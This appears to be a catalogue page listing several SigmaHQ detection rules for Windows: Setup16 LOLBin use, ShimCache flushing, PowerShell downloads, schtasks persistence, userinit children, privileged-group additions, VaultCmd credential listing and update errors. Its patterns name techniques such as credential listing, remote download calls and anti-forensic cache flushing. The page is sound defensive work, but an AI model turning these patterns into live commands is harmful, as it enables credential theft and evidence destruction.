Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can contain references to external program that "Setup16.EXE" will execute. Attackers and adversaries might leverage this as a living of the land utility.

Known False Positives

  • On modern Windows system, the "Setup16" utility is practically never used, hence false positive should be very rare.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Setup16.EXE Execution With Custom .Lst File
id: 99c8be4f-3087-4f9f-9c24-8c7e257b442e
status: test
description: |
    Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file.
    These ".lst" file can contain references to external program that "Setup16.EXE" will execute.
    Attackers and adversaries might leverage this as a living of the land utility.
references:
    - https://www.hexacorn.com/blog/2024/10/12/the-sweet16-the-oldbin-lolbin-called-setup16-exe/
author: frack113
date: 2024-12-01
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1574.005
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage: 'C:\Windows\SysWOW64\setup16.exe'
        ParentCommandLine|contains: ' -m '
    filter_optional_valid_path:
        Image|startswith: 'C:\~MSSETUP.T\'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - On modern Windows system, the "Setup16" utility is practically never used, hence false positive should be very rare.
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_optional_*

Stage 1: selection

selection:
    ParentImage: 'C:\Windows\SysWOW64\setup16.exe'
    ParentCommandLine|contains: ' -m '

Stage 2: not filter_optional_valid_path

filter_optional_valid_path:
    Image|startswith: 'C:\~MSSETUP.T\'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imagestarts_withC:\~MSSETUP.T\excludes:Image field:"Image" value:"C:\~MSSETUP.T\"

ShimCache Flush

#
Status
stable
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects actions that clear the local ShimCache and remove forensic evidence

MITRE ATT&CK Coverage

TacticTechniques
Persistence
Defense Impairment

Telemetry Coverage

Rule Body

title: ShimCache Flush
id: b0524451-19af-4efa-a46f-562a977f792e
status: stable
description: Detects actions that clear the local ShimCache and remove forensic evidence
references:
    - https://medium.com/@blueteamops/shimcache-flush-89daff28d15e
author: Florian Roth (Nextron Systems)
date: 2021-02-01
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection1a:
        CommandLine|contains|all:
            - 'rundll32'
            - 'apphelp.dll'
    selection1b:
        CommandLine|contains:
            - 'ShimFlushCache'
            - '#250'
    selection2a:
        CommandLine|contains|all:
            - 'rundll32'
            - 'kernel32.dll'
    selection2b:
        CommandLine|contains:
            - 'BaseFlushAppcompatCache'
            - '#46'
    condition: ( selection1a and selection1b ) or ( selection2a and selection2b )
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

( selection1a and selection1b ) or ( selection2a and selection2b )

Stage 1: selection1a

selection1a:
    CommandLine|contains|all:
        - 'rundll32'
        - 'apphelp.dll'

Stage 2: selection1b

selection1b:
    CommandLine|contains:
        - 'ShimFlushCache'
        - '#250'

Stage 3: selection2a

selection2a:
    CommandLine|contains|all:
        - 'rundll32'
        - 'kernel32.dll'

Stage 4: selection2b

selection2b:
    CommandLine|contains:
        - 'BaseFlushAppcompatCache'
        - '#46'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • #250
  • #46
  • BaseFlushAppcompatCache
  • ShimFlushCache
  • apphelp.dll
  • kernel32.dll
  • rundll32 corpus 23 (sigma 23)
field:"CommandLine" kind:match

Suspicious PowerShell Download - Powershell Script

#
Status
test
Severity
medium
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects suspicious PowerShell download command

Known False Positives

  • PowerShell scripts that download content from the Internet

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious PowerShell Download - Powershell Script
id: 403c2cc0-7f6b-4925-9423-bfa573bed7eb
related:
    - id: 65531a81-a694-4e31-ae04-f8ba5bc33759
      type: derived
status: test
description: Detects suspicious PowerShell download command
references:
    - https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0
    - https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-8.0
author: Florian Roth (Nextron Systems)
date: 2017-03-05
modified: 2022-12-02
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    webclient:
        ScriptBlockText|contains: 'System.Net.WebClient'
    download:
        ScriptBlockText|contains:
            - '.DownloadFile('
            - '.DownloadFileAsync('
            - '.DownloadString('
            - '.DownloadStringAsync('
    condition: webclient and download
falsepositives:
    - PowerShell scripts that download content from the Internet
level: medium

Stages and Predicates

Stage 0: condition

webclient and download

Stage 1: webclient

webclient:
    ScriptBlockText|contains: 'System.Net.WebClient'

Stage 2: download

download:
    ScriptBlockText|contains:
        - '.DownloadFile('
        - '.DownloadFileAsync('
        - '.DownloadString('
        - '.DownloadStringAsync('

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • .DownloadFile(
  • .DownloadFileAsync(
  • .DownloadString(
  • .DownloadStringAsync(
  • System.Net.WebClient corpus 3 (sigma 2, splunk 1)
field:"ScriptBlockText" kind:match

Suspicious Schtasks Schedule Types

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects scheduled task creations or modification on a suspicious schedule type

Known False Positives

  • Legitimate processes that run at logon. Filter according to your environment

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Suspicious Schtasks Schedule Types
id: 24c8392b-aa3c-46b7-a545-43f71657fe98
related:
    - id: 7a02e22e-b885-4404-b38b-1ddc7e65258a
      type: similar
status: test
description: Detects scheduled task creations or modification on a suspicious schedule type
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
    - http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-09-09
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.t1053.005
logsource:
    product: windows
    category: process_creation
detection:
    selection_img:
        - Image|endswith: '\schtasks.exe'
        - OriginalFileName: 'schtasks.exe'
    selection_time:
        CommandLine|contains:
            - ' ONLOGON '
            - ' ONSTART '
            - ' ONCE '
            - ' ONIDLE '
    filter_privs:
        CommandLine|contains:
            - 'NT AUT' # This covers the usual NT AUTHORITY\SYSTEM
            - ' SYSTEM' # SYSTEM is a valid value for schtasks hence it gets it's own value with space
            - 'HIGHEST'
    condition: all of selection_* and not 1 of filter_*
falsepositives:
    - Legitimate processes that run at logon. Filter according to your environment
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_schtasks_schedule_type/info.yml

Stages and Predicates

Stage 0: condition

all of selection_* and not 1 of filter_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\schtasks.exe'
    - OriginalFileName: 'schtasks.exe'

Stage 2: selection_time

selection_time:
    CommandLine|contains:
        - ' ONLOGON '
        - ' ONSTART '
        - ' ONCE '
        - ' ONIDLE '

Stage 3: not filter_privs

filter_privs:
    CommandLine|contains:
        - 'NT AUT'
        - ' SYSTEM'
        - 'HIGHEST'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • ONCE corpus 2 (sigma 2)
  • ONIDLE corpus 2 (sigma 2)
  • ONLOGON corpus 2 (sigma 2)
  • ONSTART corpus 2 (sigma 2)
field:"CommandLine" kind:match
Imageends_with
  • \schtasks.exe corpus 55 (sigma 55)
field:"Image" kind:ends_with value:"\schtasks.exe"
OriginalFileNameeq
  • schtasks.exe corpus 29 (sigma 18, elastic 7, splunk 4)
field:"OriginalFileName" kind:eq value:"schtasks.exe"

Exclusions

The rule actively suppresses these predicates.

Uncommon Userinit Child Process

#
Status
test
Severity
high
Author
Tom Ueltschi (@c_APT_ure), Tim Shelton
Source
github.com/SigmaHQ/sigma

Detects uncommon "userinit.exe" child processes, which could be a sign of uncommon shells or login scripts used for persistence.

Known False Positives

  • Legitimate logon scripts or custom shells may trigger false positives. Apply additional filters accordingly.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Uncommon Userinit Child Process
id: 0a98a10c-685d-4ab0-bddc-b6bdd1d48458
related:
    - id: 21d856f9-9281-4ded-9377-51a1a6e2a432
      type: similar
status: test
description: Detects uncommon "userinit.exe" child processes, which could be a sign of uncommon shells or login scripts used for persistence.
references:
    - https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html
    - https://learn.microsoft.com/en-us/windows-server/administration/server-core/server-core-sconfig#powershell-is-the-default-shell-on-server-core
author: Tom Ueltschi (@c_APT_ure), Tim Shelton
date: 2019-01-12
modified: 2023-11-14
tags:
    - attack.privilege-escalation
    - attack.t1037.001
    - attack.persistence
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\userinit.exe'
    filter_main_explorer:
        Image|endswith: ':\WINDOWS\explorer.exe'
    filter_optional_logonscripts:
        CommandLine|contains:
            - 'netlogon.bat'
            - 'UsrLogon.cmd'
    filter_optional_windows_core:
        # Note: This filter is mandatory on Windows Core machines as the default shell spawned by "userinit" is "powershell.exe".
        # https://learn.microsoft.com/en-us/windows-server/administration/server-core/server-core-sconfig#powershell-is-the-default-shell-on-server-core
        CommandLine: 'PowerShell.exe'
    filter_optional_proquota:
        Image|endswith:
            - ':\Windows\System32\proquota.exe'
            - ':\Windows\SysWOW64\proquota.exe'
    filter_optional_citrix:
        Image|endswith:
            # As reported by https://github.com/SigmaHQ/sigma/issues/4569
            - ':\Program Files (x86)\Citrix\HDX\bin\cmstart.exe' # https://support.citrix.com/article/CTX983798/purpose-of-cmstart-command
            - ':\Program Files (x86)\Citrix\HDX\bin\icast.exe' # https://support.citrix.com/article/CTX983798/purpose-of-cmstart-command
            - ':\Program Files (x86)\Citrix\System32\icast.exe'
            - ':\Program Files\Citrix\HDX\bin\cmstart.exe' # https://support.citrix.com/article/CTX983798/purpose-of-cmstart-command
            - ':\Program Files\Citrix\HDX\bin\icast.exe' # https://support.citrix.com/article/CTX983798/purpose-of-cmstart-command
            - ':\Program Files\Citrix\System32\icast.exe'
    filter_optional_image_null:
        Image: null
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Legitimate logon scripts or custom shells may trigger false positives. Apply additional filters accordingly.
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_* and not 1 of filter_optional_*

Stage 1: selection

selection:
    ParentImage|endswith: '\userinit.exe'

Stage 2: not filter_main_explorer

filter_main_explorer:
    Image|endswith: ':\WINDOWS\explorer.exe'

Stage 3: not filter_optional_*

filter_optional_logonscripts:
    CommandLine|contains:
        - 'netlogon.bat'
        - 'UsrLogon.cmd'
filter_optional_windows_core:
    CommandLine: 'PowerShell.exe'
filter_optional_proquota:
    Image|endswith:
        - ':\Windows\System32\proquota.exe'
        - ':\Windows\SysWOW64\proquota.exe'
filter_optional_citrix:
    Image|endswith:
        - ':\Program Files (x86)\Citrix\HDX\bin\cmstart.exe'
        - ':\Program Files (x86)\Citrix\HDX\bin\icast.exe'
        - ':\Program Files (x86)\Citrix\System32\icast.exe'
        - ':\Program Files\Citrix\HDX\bin\cmstart.exe'
        - ':\Program Files\Citrix\HDX\bin\icast.exe'
        - ':\Program Files\Citrix\System32\icast.exe'
filter_optional_image_null:
    Image: null

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ParentImageends_with
  • \userinit.exe corpus 3 (sigma 3)
field:"ParentImage" kind:ends_with value:"\userinit.exe"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with:\WINDOWS\explorer.exeexcludes:Image field:"Image" value:":\WINDOWS\explorer.exe"
CommandLineeqPowerShell.exeexcludes:CommandLine field:"CommandLine" value:"PowerShell.exe"
CommandLinematchUsrLogon.cmdexcludes:CommandLine field:"CommandLine" value:"UsrLogon.cmd"
CommandLinematchnetlogon.batexcludes:CommandLine field:"CommandLine" value:"netlogon.bat"
Imageends_with:\Program Files (x86)\Citrix\HDX\bin\cmstart.exeexcludes:Image field:"Image" value:":\Program Files (x86)\Citrix\HDX\bin\cmstart.exe"
Imageends_with:\Program Files (x86)\Citrix\HDX\bin\icast.exeexcludes:Image field:"Image" value:":\Program Files (x86)\Citrix\HDX\bin\icast.exe"
Imageends_with:\Program Files (x86)\Citrix\System32\icast.exeexcludes:Image field:"Image" value:":\Program Files (x86)\Citrix\System32\icast.exe"
Imageends_with:\Program Files\Citrix\HDX\bin\cmstart.exeexcludes:Image field:"Image" value:":\Program Files\Citrix\HDX\bin\cmstart.exe"
Imageends_with:\Program Files\Citrix\HDX\bin\icast.exeexcludes:Image field:"Image" value:":\Program Files\Citrix\HDX\bin\icast.exe"
Imageends_with:\Program Files\Citrix\System32\icast.exeexcludes:Image field:"Image" value:":\Program Files\Citrix\System32\icast.exe"
Imageends_with:\Windows\SysWOW64\proquota.exeexcludes:Image field:"Image" value:":\Windows\SysWOW64\proquota.exe"
Imageends_with:\Windows\System32\proquota.exeexcludes:Image field:"Image" value:":\Windows\System32\proquota.exe"
Imageis_null(no value, null check)excludes:Image

User Added To Highly Privileged Group

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects addition of users to highly privileged groups via "Net" or "Add-LocalGroupMember".

Known False Positives

  • Administrative activity that must be investigated

MITRE ATT&CK Coverage

TacticTechniques
Persistence
Privilege Escalation

Telemetry Coverage

Rule Body

title: User Added To Highly Privileged Group
id: 10fb649c-3600-4d37-b1e6-56ea90bb7e09 # Privileged groups
related:
    - id: ffa28e60-bdb1-46e0-9f82-05f7a61cc06e # Remote Desktop groups
      type: similar
    - id: ad720b90-25ad-43ff-9b5e-5c841facc8e5 # Admin groups
      type: similar
status: test
description: Detects addition of users to highly privileged groups via "Net" or "Add-LocalGroupMember".
references:
    - https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
author: Nasreddine Bencherchali (Nextron Systems)
date: 2024-02-23
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1098
logsource:
    category: process_creation
    product: windows
detection:
    selection_main:
        - CommandLine|contains|all:
              # net.exe
              - 'localgroup '
              - ' /add'
        - CommandLine|contains|all:
              # powershell.exe
              - 'Add-LocalGroupMember '
              - ' -Group '
    selection_group:
        CommandLine|contains:
            - 'Group Policy Creator Owners'
            - 'Schema Admins'
    condition: all of selection_*
falsepositives:
    - Administrative activity that must be investigated
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_main

selection_main:
    - CommandLine|contains|all:
          - 'localgroup '
          - ' /add'
    - CommandLine|contains|all:
          - 'Add-LocalGroupMember '
          - ' -Group '

Stage 2: selection_group

selection_group:
    CommandLine|contains:
        - 'Group Policy Creator Owners'
        - 'Schema Admins'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -Group corpus 3 (sigma 3)
  • /add corpus 4 (sigma 4)
  • Add-LocalGroupMember corpus 3 (sigma 3)
  • Group Policy Creator Owners
  • Schema Admins corpus 2 (sigma 1, splunk 1)
  • localgroup corpus 3 (sigma 3)
field:"CommandLine" kind:match

Windows Credential Manager Access via VaultCmd

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Windows Credential Manager Access via VaultCmd
id: 58f50261-c53b-4c88-bd12-1d71f12eda4c
status: test
description: List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd
author: frack113
date: 2022-04-08
modified: 2022-05-13
tags:
    - attack.credential-access
    - attack.t1555.004
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\VaultCmd.exe'
        - OriginalFileName: 'VAULTCMD.EXE'
    selection_cli:
        CommandLine|contains: '/listcreds:'
    condition: all of selection*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\VaultCmd.exe'
    - OriginalFileName: 'VAULTCMD.EXE'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains: '/listcreds:'

Indicators

These rows show field, operator, and value matches.

Windows Update Error

#
Status
stable
Severity
informational
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed.

MITRE ATT&CK Coverage

TacticTechniques
Resource Development

Telemetry Coverage

Rule Body

title: Windows Update Error
id: 13cfeb75-9e33-4d04-b0f7-ab8faaa95a59
status: stable
description: |
    Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed.
references:
    - https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/1903/W10_1903_Pro_20200714_18362.959/WEPExplorer/Microsoft-Windows-WindowsUpdateClient.xml
author: frack113
date: 2021-12-04
modified: 2023-09-07
tags:
    - attack.impact
    - attack.resource-development
    - attack.t1584
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: Microsoft-Windows-WindowsUpdateClient
        EventID:
            - 16 # Unable to Connect: Windows is unable to connect to the automatic updates service and therefore cannot download and install updates according to the set schedule
            - 20 # Installation Failure: Windows failed to install the following update with error
            - 24 # Uninstallation Failure: Windows failed to uninstall the following update with error
            - 213 # Revert Failure: Windows failed to revert the following update with error
            - 217 # Commit Failure: Windows failed to commit the following update with error
    condition: selection
falsepositives:
    - Unknown
level: informational

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Provider_Name: Microsoft-Windows-WindowsUpdateClient
    EventID:
        - 16
        - 20
        - 24
        - 213
        - 217

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Provider_Nameeq
  • Microsoft-Windows-WindowsUpdateClient
field:"Provider_Name" kind:eq value:"Microsoft-Windows-WindowsUpdateClient"

Back to all Sigma rules